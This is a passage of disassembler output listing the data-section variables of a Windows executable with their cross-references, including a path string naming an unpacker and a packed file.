XREF: ___:004016FEw ; ___:00401715r ... dword_4C91B8 dd 0 ; DATA XREF: ___:004016B5w ; sub_401AC7+899r word_4C91BC dw 0 ; DATA XREF: sub_401AC7+7BB4o ; ___:0040AF9Co ... align 10h dword_4C91C0 dd 0 ; DATA XREF: sub_4098FD+4A7w ; sub_4098FD+4EBr dword_4C91C4 dd 0 ; DATA XREF: sub_4098FD+65w ; sub_419BAA+166r dword_4C91C8 dd 0 ; DATA XREF: sub_4098FD+80Bw ; sub_4098FD+880r ... dword_4C91CC dd 0 ; DATA XREF: sub_4098FD+9D8w ; sub_4098FD+A43r ... dword_4C91D0 dd 0 ; DATA XREF: sub_4098FD+98Aw ; sub_4098FD+A13r ... dword_4C91D4 dd 0 ; DATA XREF: sub_4098FD+48Dw ; sub_4098FD+4DBr dword_4C91D8 dd 0 ; DATA XREF: sub_4098FD+213w ; sub_4098FD+234r dword_4C91DC dd 0 ; DATA XREF: sub_4098FD+9CBw ; sub_4098FD+A3Br ... dword_4C91E0 dd 0 ; DATA XREF: sub_4098FD+372w ; sub_4098FD+3C7r ... dword_4C91E4 dd 0 ; DATA XREF: sub_4098FD+40Fw ; sub_41AF2B+11Er dword_4C91E8 dd 0 ; DATA XREF: sub_4098FD+37Fw ; sub_4098FD+3CFr ... dword_4C91EC dd 0 ; DATA XREF: sub_4098FD+3C0w ; sub_419198+ADr dword_4C91F0 dd 0 ; DATA XREF: sub_4098FD+55Aw ; sub_40FAA3+115r ... dword_4C91F4 dd 0 ; DATA XREF: sub_4098FD+72w ; sub_4098FD+D2r ... dword_4C91F8 dd 0 ; DATA XREF: sub_4098FD+97Dw ; sub_4098FD+A06r ... dword_4C91FC dd 0 ; DATA XREF: sub_4098FD+3A6w ; sub_4098FD+3E7r ... dword_4C9200 dd 0 ; DATA XREF: sub_4098FD+859w ; sub_4098FD+8ACr ... dword_4C9204 dd 0 ; DATA XREF: sub_4098FD+2A5w ; sub_4098FD+2F0r dword_4C9208 dd 0 ; DATA XREF: sub_4098FD+84Cw ; sub_4098FD+8A4r ... dword_4C920C dd 0 ; DATA XREF: sub_4098FD+B3w dword_4C9210 dd 0 ; DATA XREF: sub_4098FD+866w ; sub_4098FD+8B4r ... dword_4C9214 dd 0 ; DATA XREF: sub_4098FD+54Dw ; sub_4098FD+6D0r ... dword_4C9218 dd 0 ; DATA XREF: sub_4098FD+58w ; sub_4098FD+CAr ... dword_4C921C dd 0 ; DATA XREF: sub_4098FD+934w dword_4C9220 dd 0 ; DATA XREF: sub_401AC7:loc_403EAFr ; sub_4098FD+A95w ... dword_4C9224 dd 0 ; DATA XREF: sub_4098FD+A6w ; sub_4098FD+F2r dword_4C9228 dd 0 ; DATA XREF: sub_4098FD+480w ; sub_4098FD+4D3r dword_4C922C dd 0 ; DATA XREF: sub_4098FD+5F6w ; sub_40C252+20r dword_4C9230 dd 0 ; DATA XREF: sub_4098FD+9BEw ; sub_4098FD+A33r dword_4C9234 dd 0 ; DATA XREF: sub_4098FD+5E9w ; sub_4098FD+754r ... dword_4C9238 dd 0 ; DATA XREF: sub_4098FD+A0Cw dword_4C923C dd 0 ; DATA XREF: sub_4098FD+B50w ; sub_40DC32+9Ar dword_4C9240 dd 0 ; DATA XREF: sub_4098FD+7FEw ; sub_4098FD+86Dr ... dword_4C9244 dd 0 ; DATA XREF: sub_4098FD+1B3w ; sub_40B5A8+3Do ... dword_4C9248 dd 0 ; DATA XREF: sub_4098FD+997w ; sub_4098FD+A1Br ... dword_4C924C dd 0 ; DATA XREF: sub_4098FD+38Cw ; sub_4098FD+3D7r ... dword_4C9250 dd 0 ; DATA XREF: sub_4098FD+399w ; sub_4098FD+3DFr ... dword_4C9254 dd 0 ; DATA XREF: sub_4098FD+C85w ; sub_4098FD+C8Cr dword_4C9258 dd 0 ; DATA XREF: sub_4098FD+6ACw ; ___:0041124Er dword_4C925C dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4C9260 dd 0 ; DATA XREF: sub_4098FD+4B4w dword_4C9264 dd 0 ; DATA XREF: sub_4098FD+9E5w ; sub_4098FD+A4Br ... dword_4C9268 dd 0 ; DATA XREF: sub_401000+51r ; sub_4098FD+2B2w ... dword_4C926C dd 0 ; DATA XREF: sub_4098FD+7Fw ; sub_4098FD+DAr ... dword_4C9270 dd 0 ; DATA XREF: sub_401AC7+588Ar ; sub_401AC7+783Br ... dword_4C9274 dd 0 ; DATA XREF: ___:004012ADr ; sub_401AC7+5081r ... dword_4C9278 dd 0 ; DATA XREF: sub_4098FD+825w ; sub_4098FD+890r ... dword_4C927C dd 0 ; DATA XREF: sub_4098FD+9A4w ; sub_4098FD+A23r dword_4C9280 dd 0 ; DATA XREF: sub_4098FD+C0Ew ; sub_4098FD+C3Fr dword_4C9284 dd 0 ; DATA XREF: sub_4098FD+2CCw ; sub_4189DF+47r dword_4C9288 dd 0 ; DATA XREF: sub_4098FD+22Dw dword_4C928C dd 0 ; DATA XREF: sub_4098FD+91Aw ; sub_4098FD+92Er dword_4C9290 dd 0 ; DATA XREF: sub_4098FD+C28w dword_4C9294 dd 0 ; DATA XREF: sub_4098FD+2D9w ; sub_4189DF+4Fr dword_4C9298 dd 0 ; DATA XREF: sub_4098FD+574w ; sub_4098FD+6E8r ... dword_4C929C dd 0 ; DATA XREF: sub_4098FD+83Fw ; sub_4098FD+873r dword_4C92A0 dd 0 ; DATA XREF: sub_4098FD+220w ; sub_4098FD+23Cr dword_4C92A4 dd 0 ; DATA XREF: sub_4098FD+172w ; sub_4098FD+1C2r dword_4C92A8 dd 0 ; DATA XREF: sub_401AC7+1DBEr ; sub_401AC7+5A43r ... dword_4C92AC dd 0 ; DATA XREF: sub_4017E7+C4r ; sub_401AC7+510Br ... dword_4C92B0 dd 0 ; DATA XREF: sub_4098FD+567w ; sub_4098FD+6DCr ... dword_4C92B4 dd 0 ; DATA XREF: sub_4098FD+8DBw ; sub_4098FD:loc_40A1F6w ... dword_4C92B8 dd 0 ; DATA XREF: sub_401000+26r ; sub_4098FD+28Bw ... dword_4C92BC dd 0 ; DATA XREF: sub_401AC7+77C0r ; sub_4098FD+69Fw ... dword_4C92C0 dd 0 ; DATA XREF: sub_4098FD+32Dw ; sub_4098FD+341r ... dword_4C92C4 dd 0 ; DATA XREF: sub_4098FD+3B3w ; sub_4098FD+3EFr ... dword_4C92C8 dd 0 ; DATA XREF: sub_4098FD+C01w ; sub_4098FD+C37r dword_4C92CC dd 0 ; DATA XREF: sub_4098FD+818w ; sub_4098FD+888r ... dword_4C92D0 dd 0 ; DATA XREF: sub_4098FD+206w ; sub_4098FD+227r dword_4C92D4 dd 0 ; DATA XREF: sub_4098FD+18Cw ; sub_4098FD+1D2r ... dword_4C92D8 dd 0 ; DATA XREF: sub_4098FD+832w ; sub_4098FD+898r ... dword_4C92DC dd 0 ; DATA XREF: sub_4098FD+624w ; sub_4098FD+774r dword_4C92E0 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_4098FD+2BFw ... dword_4C92E4 dd 0 ; DATA XREF: sub_4098FD+66Bw ; sub_4098FD+79Cr ... dword_4C92E8 dd 0 ; DATA XREF: sub_4098FD+320w ; sub_4098FD+334r ... dword_4C92EC dd 0 ; DATA XREF: sub_4098FD+644w ; sub_4098FD+784r ... dword_4C92F0 dd 0 ; DATA XREF: sub_4098FD+44Cw ; sub_4098FD+4AEr dword_4C92F4 dd 0 ; DATA XREF: sub_4098FD+199w ; sub_4098FD+1DAr ... dword_4C92F8 dd 0 ; DATA XREF: sub_4098FD+365w ; sub_4098FD+3BAr ... dword_4C92FC dd 0 ; DATA XREF: sub_4098FD+AA2w dword_4C9300 dd 0 ; DATA XREF: sub_4098FD+5DCw ; sub_4098FD+748r ... dword_4C9304 dd 0 ; DATA XREF: sub_4017E7+3Er ; sub_401AC7+50BDr ... dword_4C9308 dd 0 ; DATA XREF: sub_4098FD+4Bw ; sub_4098FD+C2r ... dword_4C930C dd 0 ; DATA XREF: sub_4098FD+473w ; sub_4098FD+4CBr dword_4C9310 dd 0 ; DATA XREF: sub_4098FD+165w ; sub_4098FD+1BAr ... dword_4C9314 dd 0 ; DATA XREF: sub_4098FD+9FFw ; sub_4098FD+A5Br ... dword_4C9318 dd 0 ; DATA XREF: sub_4098FD+685w ; sub_4098FD+7ACr ... dword_4C931C dd 0 ; DATA XREF: sub_40194F+D1r ; sub_401AC7+5120r ... dword_4C9320 dd 0 ; DATA XREF: sub_4098FD+C1Bw ; sub_4098FD+C47r dword_4C9324 dd 0 ; DATA XREF: sub_4098FD+3Ew ; sub_4098FD+BAr ... dword_4C9328 dd 0 ; DATA XREF: sub_401000+45r ; sub_4098FD+298w ... dword_4C932C dd 0 ; DATA XREF: sub_4098FD+651w ; sub_4098FD+78Cr ... dword_4C9330 dd 0 ; DATA XREF: sub_4098FD+637w ; sub_4098FD+77Cr ... dword_4C9334 dd 0 ; DATA XREF: sub_4098FD+C92w dword_4C9338 dd 0 ; DATA XREF: sub_4098FD+879w ; ___:00416C30r ... dword_4C933C dd 0 ; DATA XREF: sub_4098FD+112w dword_4C9340 dd 0 ; DATA XREF: sub_4098FD+BE7w ; sub_4098FD+C22r dword_4C9344 dd 0 ; DATA XREF: sub_401AC7+2FC3r ; sub_401AC7+5EFCr ... dword_4C9348 dd 0 ; DATA XREF: sub_4098FD+459w ; sub_4098FD+4BBr dword_4C934C dd 0 ; DATA XREF: sub_4098FD+49Aw ; sub_4098FD+4E3r dword_4C9350 dd 0 ; DATA XREF: sub_4098FD+466w ; sub_4098FD+4C3r dword_4C9354 dd 0 ; DATA XREF: sub_40194F+89r ; sub_401AC7+513Dr ... dword_4C9358 dd 0 ; DATA XREF: sub_4098FD+1A6w ; sub_4098FD+1E2r ... dword_4C935C dd 0 ; DATA XREF: sub_4098FD+9F2w ; sub_4098FD+A53r ... dword_4C9360 dd 0 ; DATA XREF: sub_4098FD+158w ; sub_4098FD+1ADr ... dword_4C9364 dd 0 ; DATA XREF: sub_4098FD+8Cw ; sub_4098FD+E2r ... dword_4C9368 dd 0 ; DATA XREF: sub_4098FD+610w ; sub_4098FD+764r ... dword_4C936C dd 0 ; DATA XREF: sub_4098FD+B43w ; sub_4098FD+B5Fr dword_4C9370 dd 0 ; DATA XREF: sub_4098FD+33Aw ; sub_419B3F+55r dword_4C9374 dd 0 ; DATA XREF: sub_4098FD+27Ew ; sub_4098FD+2D3r ... dword_4C9378 dd 0 ; DATA XREF: sub_4098FD+BAAw dword_4C937C dd 0 ; DATA XREF: sub_4098FD+AECw ; sub_40A91C+CEr dword_4C9380 dd 0 ; DATA XREF: sub_4098FD+ADFw ; sub_4098FD+AE6r ... dword_4C9384 dd 0 ; DATA XREF: sub_4017E7+A6r ; sub_401AC7+509Cr ... dword_4C9388 dd 0 ; DATA XREF: sub_401AC7+508Er ; sub_401AC7+77E7r ... dword_4C938C dd 0 ; DATA XREF: sub_4098FD+BF4w ; sub_4098FD+C2Fr dword_4C9390 dd 0 ; DATA XREF: sub_401AC7+1DE4r ; sub_401AC7+5A69r ... dword_4C9394 dd 0 ; DATA XREF: sub_4098FD+9B1w ; sub_4098FD+A2Br ... dword_4C9398 dd 0 ; DATA XREF: sub_4098FD+65Ew ; sub_4098FD+794r ... dword_4C939C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017E7+D0r ... dword_4C93A0 dd 0 ; DATA XREF: sub_4098FD+59Bw ; sub_4098FD+70Cr ... dword_4C93A4 dd 0 ; DATA XREF: sub_4098FD+B36w ; sub_4098FD+B57r ... dword_4C93A8 dd 0 ; DATA XREF: sub_4098FD+540w ; sub_4098FD+6C4r ... dword_4C93AC dd 0 ; DATA XREF: sub_4098FD+B29w ; sub_4098FD+B4Ar dword_4C93B0 dd 0 ; DATA XREF: ___:00401273r ; sub_4098FD+31w ... dword_4C93B4 dd 0 ; DATA XREF: sub_4098FD+17Fw ; sub_4098FD+1CAr dd 0 dword_4C93BC dd 0 ; DATA XREF: sub_4098FD+927w ; sub_4098FD+93Br dword_4C93C0 dd 0 ; DATA XREF: sub_4098FD+99w ; sub_4098FD+EAr ... dword_4C93C4 dd 0 ; DATA XREF: sub_4098FD:loc_4099FBw ; sub_4098FD+12Bw ... dword_4C93C8 dd 0 ; DATA XREF: sub_4098FD+126w ; sub_40A5B9+1Cr dword_4C93CC dd 0 ; DATA XREF: sub_4098FD:loc_409AEBw ; sub_4098FD:loc_409B52w ... dword_4C93D0 dd 0 ; DATA XREF: sub_4098FD+250w ; sub_40A5B9+50r dword_4C93D4 dd 0 ; DATA XREF: ___:00401567r ; sub_401AC7+4466r ... dword_4C93D8 dd 0 ; DATA XREF: sub_4098FD+41Ew ; sub_40A5B9+84r dword_4C93DC dd 0 ; DATA XREF: sub_4098FD:loc_409E01w ; sub_40A5B9:loc_40A669r dword_4C93E0 dd 0 ; DATA XREF: sub_4098FD+4FFw ; sub_40A5B9+B8r dword_4C93E4 dd 0 ; DATA XREF: sub_4098FD:loc_40A0D2w ; sub_40A5B9:loc_40A69Dr dword_4C93E8 dd 0 ; DATA XREF: sub_4098FD+7D0w ; sub_40A5B9+ECr dword_4C93EC dd 0 ; DATA XREF: sub_4098FD:loc_40A1BDw ; sub_4098FD+8EFw ... dword_4C93F0 dd 0 ; DATA XREF: sub_4098FD+8EAw ; sub_40A5B9+120r dword_4C93F4 dd 0 ; DATA XREF: sub_401AC7:loc_406E82r ; sub_4098FD:loc_40A251w ... dword_4C93F8 dd 0 ; DATA XREF: sub_4098FD+94Fw ; sub_40A5B9+154r dword_4C93FC dd 0 ; DATA XREF: sub_401AC7+446Er ; sub_4098FD:loc_40A36Dw ... dword_4C9400 dd 0 ; DATA XREF: sub_4098FD+A6Bw ; sub_40A5B9+188r dword_4C9404 dd 0 ; DATA XREF: sub_4098FD:loc_40A3B7w ; sub_40A5B9:loc_40A76Dr dword_4C9408 dd 0 ; DATA XREF: sub_4098FD+AB5w ; sub_40A5B9+1BCr dword_4C940C dd 0 ; DATA XREF: sub_4098FD:loc_40A401w ; sub_40A5B9:loc_40A7A1r dword_4C9410 dd 0 ; DATA XREF: sub_4098FD+AFFw ; sub_40A5B9+1F0r dword_4C9414 dd 0 ; DATA XREF: sub_4098FD:loc_40A475w ; sub_40A5B9:loc_40A7D5r dword_4C9418 dd 0 ; DATA XREF: sub_4098FD+B73w ; sub_40A5B9+224r dword_4C941C dd 0 ; DATA XREF: sub_4098FD:loc_40A4BFw ; sub_40A5B9:loc_40A809r dword_4C9420 dd 0 ; DATA XREF: sub_4098FD+BBDw ; sub_40A5B9+258r dword_4C9424 dd 0 ; DATA XREF: sub_4098FD:loc_40A55Dw ; sub_40A5B9:loc_40A83Dr dword_4C9428 dd 0 ; DATA XREF: sub_4098FD+C5Bw ; sub_40A5B9+28Cr dword_4C942C dd 0 ; DATA XREF: sub_4098FD:loc_40A5A7w ; sub_40A5B9:loc_40A871r dword_4C9430 dd 0 ; DATA XREF: sub_4098FD+CA5w ; sub_40A5B9+2C0r dword_4C9434 dd 5 dup(0) ; DATA XREF: sub_40A9FA+32o byte_4C9448 db 0 ; DATA XREF: sub_40B2A6+6Ar ; sub_40B2A6+98w align 10h dword_4C9450 dd 0 ; DATA XREF: sub_40BD05+18r ; sub_40C29A+92w ... dword_4C9454 dd 0 ; DATA XREF: sub_40C3D3+4Dr ; sub_40C3D3+2EDw ... dd 7FEh dup(0) dword_4CB450 dd 6 dup(0) ; DATA XREF: sub_40C3D3+CFo ; sub_40C3D3+138o ... dword_4CB468 dd 0 ; DATA XREF: sub_40BD7C+2C4w ; sub_40BD7C+348o dword_4CB46C dd 0 ; DATA XREF: sub_40BD7C+33Ew ; sub_40BD7C+35Ar dword_4CB470 dd 0 ; DATA XREF: sub_40BD7C+2CFw dword_4CB474 dd 0 ; DATA XREF: sub_40BD7C+2B9w ; sub_40BD7C:loc_40C091r dword_4CB478 dd 20h dup(0) ; DATA XREF: sub_40BD7C+2E2o ; sub_40BD7C+302o dword_4CB4F8 dd 0 ; DATA XREF: sub_40BD7C+2D5w dword_4CB4FC dd 0 ; DATA XREF: sub_40BD7C+2EFw ; sub_40BD7C+30Fw dword_4CB500 dd 0 ; DATA XREF: sub_40BD7C:loc_40C0ECr align 8 dword_4CB508 dd 0 ; DATA XREF: sub_40BD7C+82w ; sub_40BD7C+101o dword_4CB50C dd 41h dup(0) ; DATA XREF: sub_40BD7C+41o dword_4CB610 dd 41h dup(0) ; DATA XREF: sub_40BD7C+69o dword_4CB714 dd 0 ; DATA XREF: sub_40BD7C+F7w ; sub_40BD7C+113r dword_4CB718 dd 0 ; DATA XREF: sub_40BD7C+52w dword_4CB71C dd 0 ; DATA XREF: sub_40BD7C+4Dw ; sub_40BD7C+D4r dword_4CB720 dd 20h dup(0) ; DATA XREF: sub_40BD7C+9Ao ; sub_40BD7C+BAo dword_4CB7A0 dd 0 ; DATA XREF: sub_40BD7C+8Fw dword_4CB7A4 dd 0 ; DATA XREF: sub_40BD7C+A7w ; sub_40BD7C+C7w dword_4CB7A8 dd 0 ; DATA XREF: sub_40BD7C:loc_40BEA5r align 10h dword_4CB7B0 dd 0 ; DATA XREF: sub_40BD7C+1A5w ; sub_40BD7C+225o dword_4CB7B4 dd 41h dup(0) ; DATA XREF: sub_40BD7C+167o dword_4CB8B8 dd 41h dup(0) ; DATA XREF: sub_40BD7C+18Co dword_4CB9BC dd 0 ; DATA XREF: sub_40BD7C+21Bw ; sub_40BD7C+237r dword_4CB9C0 dd 0 ; DATA XREF: sub_40BD7C+17Aw dword_4CB9C4 dd 0 ; DATA XREF: sub_40BD7C+175w ; sub_40BD7C+1F8r dword_4CB9C8 dd 20h dup(0) ; DATA XREF: sub_40BD7C+1BEo ; sub_40BD7C+1DEo dword_4CBA48 dd 0 ; DATA XREF: sub_40BD7C+1B1w dword_4CBA4C dd 0 ; DATA XREF: sub_40BD7C+1CBw ; sub_40BD7C+1EBw dword_4CBA50 dd 0 ; DATA XREF: sub_40BD7C:loc_40BFC9r align 8 dword_4CBA58 dd 0 ; DATA XREF: sub_40BD7C+417w ; sub_40BD7C+470o dword_4CBA5C dd 0A2h dup(0) ; DATA XREF: sub_40BD7C+405o dword_4CBCE4 dd 41h dup(0) ; DATA XREF: sub_40BD7C+3CFo dword_4CBDE8 dd 0 ; DATA XREF: sub_40BD7C+3FCw ; sub_40BD7C+423r align 10h dword_4CBDF0 dd 0 ; DATA XREF: sub_40BD7C+466w ; sub_40BD7C+482r dword_4CBDF4 dd 0 ; DATA XREF: sub_40BD7C+429w dword_4CBDF8 dd 0 ; DATA XREF: sub_40BD7C+436w dword_4CBDFC dd 0 ; DATA XREF: sub_40BD7C+3F6w dd 0 dword_4CBE04 dd 0 ; DATA XREF: sub_40BD7C:loc_40C214r dd 0 dword_4CBE0C dd 0 ; DATA XREF: sub_40B9CF+Er ; sub_40B9CF+31r dword_4CBE10 dd 0 ; DATA XREF: sub_40B9CF+9r ; sub_40B9CF+25r dword_4CBE14 dd 82h dup(0) ; DATA XREF: sub_40C846+8Do dword_4CC01C dd 2 dup(0) ; DATA XREF: sub_40D1AF+68o dword_4CC024 dd 0 ; DATA XREF: sub_40DB4F+9Eo dword_4CC028 dd 0 ; DATA XREF: sub_40E288+8w ; ___:0040E657o align 10h dword_4CC030 dd 2 dup(0) ; DATA XREF: ___:0040E58Do ; sub_41B4FB+8o ... dword_4CC038 dd 0 ; DATA XREF: ___:0040EEC0r dd 0 dd 0 dword_4CC044 dd 0 ; DATA XREF: ___:0040EE93r dword_4CC048 dd 0 ; DATA XREF: ___:0040EE75r ; ___:0040EEDEr align 10h dword_4CC050 dd 0 ; DATA XREF: sub_40BD7C+2AEr align 8 dword_4CC058 dd 0 ; DATA XREF: sub_40BA3A+1Br dword_4CC05C dd 0 ; DATA XREF: ___:0040F9B6w ; ___:0040F9DDr ... dd 3 dup(0) dword_4CC06C dd 0 ; DATA XREF: ___:004112C4r dd 0 dword_4CC074 dd 0 ; DATA XREF: sub_412E9B+4w ; sub_412E9B+9o dd 10Ah dup(0) dword_4CC4A0 dd 188h dup(0) ; DATA XREF: sub_401AC7+2F39o ; sub_401AC7:loc_404AAFo dword_4CCAC0 dd 0 ; DATA XREF: sub_401AC7+19B6w ; sub_401AC7+2F31r ... dd 11Ch dup(0) dword_4CCF34 dd 1000h dup(0) ; DATA XREF: sub_415CEE+1Do ; sub_415D8Eo ... dword_4D0F34 dd 0 ; DATA XREF: sub_415CEE+13o ; sub_415D8E+Eo ... dword_4D0F38 dd 0Eh dup(0) ; DATA XREF: sub_416C7D+Fo dword_4D0F70 dd 80h dup(0) ; DATA XREF: sub_417938+41o dword_4D1170 dd 200h dup(0) ; DATA XREF: sub_417269+C7o ; sub_4175C4+DDo ... dword_4D1970 dd 200h dup(0) ; DATA XREF: sub_417269+D6o ; sub_4175C4+F4o ... dword_4D2170 dd 0 ; DATA XREF: sub_417269+86w ; sub_41743B+94r dword_4D2174 dd 0 ; DATA XREF: sub_417269+A7w ; sub_4178A1+55r ... dword_4D2178 dd 0 ; DATA XREF: sub_417269+A0w ; sub_41743B+D6r ... dword_4D217C dd 0 ; DATA XREF: sub_417269+79w ; sub_41743B+35r ... dword_4D2180 dd 80h dup(0) ; DATA XREF: sub_4178A1+5Eo dword_4D2380 dd 0 ; DATA XREF: sub_417269+93w ; sub_41743B+A2r align 8 dword_4D2388 dd 0 ; DATA XREF: sub_417269+E7o ; sub_417269+103r ... dword_4D238C dd 0 ; DATA XREF: sub_4175C4+17Bw ; sub_41776B+107w dword_4D2390 dd 0 ; DATA XREF: sub_4175C4+180w ; sub_41776B+10Dw ... dword_4D2394 dd 0 ; DATA XREF: sub_4175C4+159w ; sub_4178A1+4Fr dword_4D2398 dd 0 ; DATA XREF: sub_417C15+22w ; sub_417C15:loc_417D97w ... dword_4D239C dd 0 ; DATA XREF: sub_401AC7+3C99o ; sub_417AD7+12o ... dd 0 dword_4D23A4 dd 0 ; DATA XREF: sub_417C15+1Cr ; sub_417DB7+3Ar dd 7Fh dup(0) dword_4D25A4 dd 0 ; DATA XREF: sub_417C15+28r ; sub_417DB7+4Aw dd 6EAh dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_437BD0o dd 1259h dup(0) dword_4D8AB8 dd 0 ; DATA XREF: sub_417DB7+23o dword_4D8ABC dd 81h dup(0) ; DATA XREF: sub_401AC7+3CBDo ; sub_417AD7+3Co ... dword_4D8CC0 dd 17h dup(0) ; DATA XREF: sub_418CE8:loc_418E05o ; sub_418CE8+131o ... dword_4D8D1C dd 80h dup(0) ; DATA XREF: sub_419A81+7Co ; sub_419A81+A5o dword_4D8F1C dd 0 ; DATA XREF: sub_419062+45w ; sub_419062+4Dr ... dword_4D8F20 dd 17h dup(0) ; DATA XREF: sub_41994D:loc_419A6Fo ; sub_41994D+12Do dword_4D8F7C dd 80h dup(0) ; DATA XREF: sub_418FA3+4Bo ; sub_418FA3+7Do ... byte_4D917C db 0 ; DATA XREF: sub_419062+29r ; sub_419062+34w align 10h dword_4D9180 dd 80h dup(0) ; DATA XREF: sub_4192B9+61o ; sub_4192B9+88o ... dword_4D9380 dd 81h dup(0) ; DATA XREF: sub_418BBF+33o ; sub_418BBF+50o ... dword_4D9584 dd 0 ; DATA XREF: sub_419F0E:loc_419F2Fr ; sub_419FFD+54r ... dword_4D9588 dd 0 ; DATA XREF: sub_419F0Er ; sub_419FFD+37r ... dword_4D958C dd 0 ; DATA XREF: sub_419F3E+1Ar ; sub_41A152+83o dword_4D9590 dd 0 ; DATA XREF: sub_419F0E:loc_419F22r ; sub_41A152+11Bw dword_4D9594 dd 0Dh dup(0) ; DATA XREF: sub_419FFD+13o ; sub_41A152:loc_41A28Fo dword_4D95C8 dd 0 ; DATA XREF: sub_419FFD+CDr ; sub_419FFD+ECr ... align 10h dword_4D95D0 dd 0Fh dup(0) ; DATA XREF: sub_41AD74+47o byte_4D960C db 0 ; DATA XREF: sub_41B4CF+6o ; ___:0041B821o ... align 10h dd 3Fh dup(0) dword_4D970C dd 2 dup(0) ; DATA XREF: sub_41B4FB+18o dword_4D9714 dd 0 ; DATA XREF: sub_41C326+1B9w ; ___:loc_41DA08w ... dword_4D9718 dd 0 ; DATA XREF: sub_41DB5E+35w ; sub_41E212:loc_41E2ACw ... dword_4D971C dd 0 ; DATA XREF: sub_42393B+13Ar dd 0A28h, 501h, 5, 1 dword_4D9730 dd 1 ; DATA XREF: ___:loc_401513r ; ___:00422F1Cw dword_4D9734 dd 28E0AF0h ; DATA XREF: ___:0040151Cr ; ___:0040153Cr ... dd 0 dword_4D973C dd 28E0A70h ; DATA XREF: ___:00422E16w ; sub_4259A3+9r ... dword_4D9740 dd 0 ; DATA XREF: sub_426087+36r dword_4D9744 dd 0 ; DATA XREF: sub_4259A3+16r ; sub_425D71+4r ... dd 0 off_4D974C dd offset aCM_unpackerPac ; DATA XREF: ___:00422EB9w ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4D9754 db 0 ; DATA XREF: sub_41BF53+2Dw ; sub_4238E3+5r align 4 dword_4D9758 dd 0 ; DATA XREF: sub_41BF53+27w dword_4D975C dd 0 ; DATA XREF: sub_41BF53+4r ; sub_41BF53+8Bw dword_4D9760 dd 0 ; DATA XREF: sub_41C864+3Br ; sub_41C864+91w align 8 dword_4D9768 dd 0 ; DATA XREF: sub_41CEB4+Aw align 10h dword_4D9770 dd 0 ; DATA XREF: sub_41D81B+5Er ; sub_41D81B+A4w align 8 word_4D9778 dw 0 ; DATA XREF: sub_41D81B+55r ; sub_41D81B+9Ao word_4D977A dw 0 ; DATA XREF: sub_41D81B+48r db 2 dup(0) word_4D977E dw 0 ; DATA XREF: sub_41D81B+3Br word_4D9780 dw 0 ; DATA XREF: sub_41D81B+2Er word_4D9782 dw 0 ; DATA XREF: sub_41D81B+21r align 8 dword_4D9788 dd 0 ; DATA XREF: ___:loc_422DE4r ; ___:loc_422E26r ... align 10h dword_4D9790 dd 0 ; DATA XREF: sub_41E1C9r ___:0041E1F0o ... dword_4D9794 dd 0 ; DATA XREF: sub_41F247r dword_4D9798 dd 0 ; DATA XREF: sub_41BB48:loc_41BC44r ; sub_41BC9Br ... dword_4D979C dd 1 ; DATA XREF: sub_41FDDE:loc_41FF59r ; sub_41FF77+4w ... dword_4D97A0 dd 0 ; DATA XREF: sub_42037B+37r align 8 dword_4D97A8 dd 0 ; DATA XREF: sub_42190E+11r ; sub_421A12+1Ar ... byte_4D97AC db 0 ; DATA XREF: sub_42190E+3r ; sub_42190E+98r ... align 10h dword_4D97B0 dd 0 ; DATA XREF: sub_421A12+11r ; sub_421AF0+21w ... byte_4D97B4 db 0 ; DATA XREF: sub_421AF0+51w align 4 dword_4D97B8 dd 0 ; DATA XREF: sub_421CE6+4Er ; sub_4220C1+3Ar ... dword_4D97BC dd 0 ; DATA XREF: sub_421CE6+5Cr ; sub_4220C1+43r ... dword_4D97C0 dd 0 ; DATA XREF: sub_41D13A+7Ar ; sub_421E8D+5r dword_4D97C4 dd 0 ; DATA XREF: sub_42249C+29r dword_4D97C8 dd 2 dup(0) ; DATA XREF: sub_41D900+Co dword_4D97D0 dd 0 ; DATA XREF: sub_41DD4A+4r ; sub_41DD4A+6Er ... align 10h dword_4D97E0 dd 0 ; DATA XREF: sub_41DFD4+61r ; sub_41DFD4+BFr ... align 8 dword_4D97E8 dd 1 ; DATA XREF: sub_4229D2+28r ; sub_4229D2+4Cw ... dword_4D97EC dd 0 ; DATA XREF: ___:00422C30r ; ___:00422C3Cw ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422EA2o ; ___:off_4D974Co align 4 dd 3Ah dup(0) dword_4D98F4 dd 1 ; DATA XREF: ___:004230DAr ; ___:004230FBw ... dword_4D98F8 dd 0 ; DATA XREF: sub_423498+21r dword_4D98FC dd 0 ; DATA XREF: sub_41F262+154w ; sub_42037B:loc_4203A4w ... dword_4D9900 dd 0 ; DATA XREF: sub_41F262+7r dword_4D9904 dd 1 ; DATA XREF: sub_423BF4+26r ; sub_423BF4:loc_423C5Ew word_4D9908 dw 0 ; DATA XREF: sub_4244F9+1Ao ; sub_4244F9+46r byte_4D990A db 0 ; DATA XREF: sub_4244F9+39r align 4 dword_4D990C dd 7 dup(0) ; DATA XREF: sub_4244F9+52o dword_4D9928 dd 0 ; DATA XREF: sub_4244F9+40w ; sub_4244F9+5Co dword_4D992C dd 0 ; DATA XREF: sub_4244F9+4Dw dword_4D9930 dd 0 ; DATA XREF: sub_4244F9+31w dword_4D9934 dd 0 ; DATA XREF: sub_4244F9+52w dword_4D9938 dd 77C26E79h ; DATA XREF: sub_42461C:loc_42463Fr ; sub_42461C+38r ... align 10h dword_4D9940 dd 0 ; DATA XREF: sub_4246FC+11w ; sub_4246FC+63w ... align 8 dword_4D9948 dd 0 ; DATA XREF: sub_4246FC+33o ; sub_4246FC+46r dword_4D994C dd 10h dup(0) ; DATA XREF: sub_4246FC+C1o word_4D998C dw 0 ; DATA XREF: sub_42495A+A8r word_4D998E dw 0 ; DATA XREF: sub_4246FC+54r ; sub_42495A+DBr ... word_4D9990 dw 0 ; DATA XREF: sub_42495A+CAr word_4D9992 dw 0 ; DATA XREF: sub_42495A+D3r ; sub_42495A:loc_424A4Cr word_4D9994 dw 0 ; DATA XREF: sub_42495A+C0r word_4D9996 dw 0 ; DATA XREF: sub_42495A+B8r word_4D9998 dw 0 ; DATA XREF: sub_42495A+B0r word_4D999A dw 0 ; DATA XREF: sub_42495A+9Er dword_4D999C dd 0 ; DATA XREF: sub_4246FC+4Br dword_4D99A0 dd 10h dup(0) ; DATA XREF: sub_4246FC+FBo word_4D99E0 dw 0 ; DATA XREF: 